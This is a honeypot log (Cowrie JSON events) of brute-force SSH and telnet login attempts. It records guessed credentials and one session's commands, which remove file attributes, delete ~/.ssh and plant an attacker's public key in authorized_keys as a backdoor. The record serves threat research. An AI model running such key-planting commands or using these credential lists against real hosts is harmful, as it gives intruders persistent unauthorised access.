{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:15.314116Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p4ssw0rd","message":"login attempt [root/p4ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:16.333375Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:16.873831Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:16.877388Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:16.881796Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:17.182683Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:17.729036Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:17.732848Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:17.982927Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:17.987023Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":36314,"dst_ip":"10.17.0.5","dst_port":22,"session":"94fa6e437730","protocol":"ssh","message":"New connection: 210.79.191.199:36314 (10.17.0.5:22) [session: 94fa6e437730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.234416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.239668Z","src_ip":"210.79.191.199","session":"94fa6e437730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.488714Z","src_ip":"210.79.191.199","session":"94fa6e437730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":44522,"dst_ip":"10.17.0.5","dst_port":22,"session":"9972c89f4128","protocol":"ssh","message":"New connection: 101.36.123.173:44522 (10.17.0.5:22) [session: 9972c89f4128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.619334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.625815Z","src_ip":"101.36.123.173","session":"9972c89f4128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:18.843332Z","src_ip":"101.36.123.173","session":"9972c89f4128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:19.578499Z","src_ip":"210.79.191.199","session":"94fa6e437730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1234","message":"login attempt [mysql/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:19.740635Z","src_ip":"101.36.123.173","session":"9972c89f4128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:20.834731Z","src_ip":"210.79.191.199","session":"94fa6e437730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:20.959126Z","src_ip":"101.36.123.173","session":"9972c89f4128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":36318,"dst_ip":"10.17.0.5","dst_port":22,"session":"11081f20031c","protocol":"ssh","message":"New connection: 210.79.191.199:36318 (10.17.0.5:22) [session: 11081f20031c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:21.076183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:21.082333Z","src_ip":"210.79.191.199","session":"11081f20031c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:21.327566Z","src_ip":"210.79.191.199","session":"11081f20031c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:22.423323Z","src_ip":"210.79.191.199","session":"11081f20031c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:22.676318Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:22.681349Z","src_ip":"210.79.191.199","session":"11081f20031c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":36158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b02c50de27a","protocol":"ssh","message":"New connection: 165.154.6.86:36158 (10.17.0.5:22) [session: 0b02c50de27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:35.827718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:35.832050Z","src_ip":"165.154.6.86","session":"0b02c50de27a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:36.053641Z","src_ip":"165.154.6.86","session":"0b02c50de27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappepass","message":"login attempt [frappe/frappepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:36.971960Z","src_ip":"165.154.6.86","session":"0b02c50de27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:38.195409Z","src_ip":"165.154.6.86","session":"0b02c50de27a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49916,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1dc04c23927","protocol":"ssh","message":"New connection: 2.57.122.208:49916 (10.17.0.5:22) [session: a1dc04c23927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:41.087414Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:41.189385Z","src_ip":"2.57.122.208","session":"a1dc04c23927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":27194,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2eeca636041","protocol":"ssh","message":"New connection: 64.188.83.153:27194 (10.17.0.5:22) [session: f2eeca636041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:04.530919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:04.535369Z","src_ip":"64.188.83.153","session":"f2eeca636041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:04.621393Z","src_ip":"64.188.83.153","session":"f2eeca636041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"Zabbix@123","message":"login attempt [zabbix/Zabbix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:04.998210Z","src_ip":"64.188.83.153","session":"f2eeca636041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:06.085194Z","src_ip":"64.188.83.153","session":"f2eeca636041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":51238,"dst_ip":"10.17.0.5","dst_port":22,"session":"f58a428ceb8f","protocol":"ssh","message":"New connection: 210.79.191.18:51238 (10.17.0.5:22) [session: f58a428ceb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:16.897945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:16.902987Z","src_ip":"210.79.191.18","session":"f58a428ceb8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:17.140511Z","src_ip":"210.79.191.18","session":"f58a428ceb8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ann","password":"ann","message":"login attempt [ann/ann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:18.121853Z","src_ip":"210.79.191.18","session":"f58a428ceb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:19.361367Z","src_ip":"210.79.191.18","session":"f58a428ceb8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":57250,"dst_ip":"159.203.135.109","dst_port":23,"session":"8759e9f8f090","protocol":"telnet","message":"New connection: 185.242.3.105:57250 (159.203.135.109:23) [session: 8759e9f8f090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:22.546307Z"}
{"eventid":"cowrie.session.closed","duration":29.982747316360474,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:21:52.528924Z","src_ip":"185.242.3.105","session":"8759e9f8f090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":43996,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde370c27f8a","protocol":"ssh","message":"New connection: 101.36.123.173:43996 (10.17.0.5:22) [session: dde370c27f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:10.034736Z"}
